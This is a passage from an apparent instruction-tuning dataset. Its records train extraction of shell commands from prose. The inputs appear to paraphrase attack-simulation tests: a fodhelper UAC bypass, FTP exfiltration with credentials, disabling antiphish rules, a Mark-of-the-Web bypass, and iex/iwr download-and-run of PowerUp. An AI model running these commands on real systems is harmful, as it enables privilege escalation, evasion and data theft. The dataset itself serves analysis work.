span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Windows 10 systems, you can bypass User Account Control and open a command prompt by using fodhelper.exe with these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\fodhelper.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process simulates encrypted file transfer to an FTP server via the command: $sampleData = \"Sample data for exfiltration test\"\nSet-Content -Path \"#{sampleFile}\" -Value $sampleData\n$ftpUrl = \"#{ftpServer}\"\n$creds = Get-Credential -Credential \"#{credentials}\"\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \"#{sampleFile}\" -Credential $creds\n",
    "output": "{\"command_list\": [\"$sampleData = \\\"Sample data for exfiltration test\\\"\\nSet-Content -Path \\\"#{sampleFile}\\\" -Value $sampleData\\n$ftpUrl = \\\"#{ftpServer}\\\"\\n$creds = Get-Credential -Credential \\\"#{credentials}\\\"\\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \\\"#{sampleFile}\\\" -Credential $creds\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For discovering files and hidden items, execute this multi-step command: cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}\nif [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;\nfind . -type f -iname *.pdf >> #{output_file}\ncat #{output_file}\nfind . -type f -name \".*\"",
    "output": "{\"command_list\": [\"cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}\\nif [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;\\nfind . -type f -iname *.pdf >> #{output_file}\\ncat #{output_file}\\nfind . -type f -name \\\".*\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a file from the web using nimgrab.exe, run the following command: cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" #{remote_file} #{destination_path}",
    "output": "{\"command_list\": [\"cmd /c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nimgrab.exe\\\" #{remote_file} #{destination_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process involves mounting an ISO image to bypass Mark-of-the-Web and run hello.exe, which can be done via the command: Mount-DiskImage -ImagePath \"#{path_of_iso}\" -StorageType ISO -Access ReadOnly\n$keep = Get-Volume -FileSystemLabel \"TestIso\"\n$driveLetter = ($keep | Get-Volume).DriveLetter\ninvoke-item \"$($driveLetter):\\\\hello.exe\"\n",
    "output": "{\"command_list\": [\"Mount-DiskImage -ImagePath \\\"#{path_of_iso}\\\" -StorageType ISO -Access ReadOnly\\n$keep = Get-Volume -FileSystemLabel \\\"TestIso\\\"\\n$driveLetter = ($keep | Get-Volume).DriveLetter\\ninvoke-item \\\"$($driveLetter):\\\\hello.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Control Panel via Group Policy for the current user, use the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoControlPanel /t REG_DWORD /d 1 /f. Note that some changes may require a system restart to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoControlPanel /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable antiphish rules in your Office 365 organization, run the following command sequence: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\n$test = Get-AntiPhishRule\nDisable-AntiPhishRule -Identity $test.Name -Confirm:$false\nGet-AntiPhishRule",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\n$test = Get-AntiPhishRule\\nDisable-AntiPhishRule -Identity $test.Name -Confirm:$false\\nGet-AntiPhishRule\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, 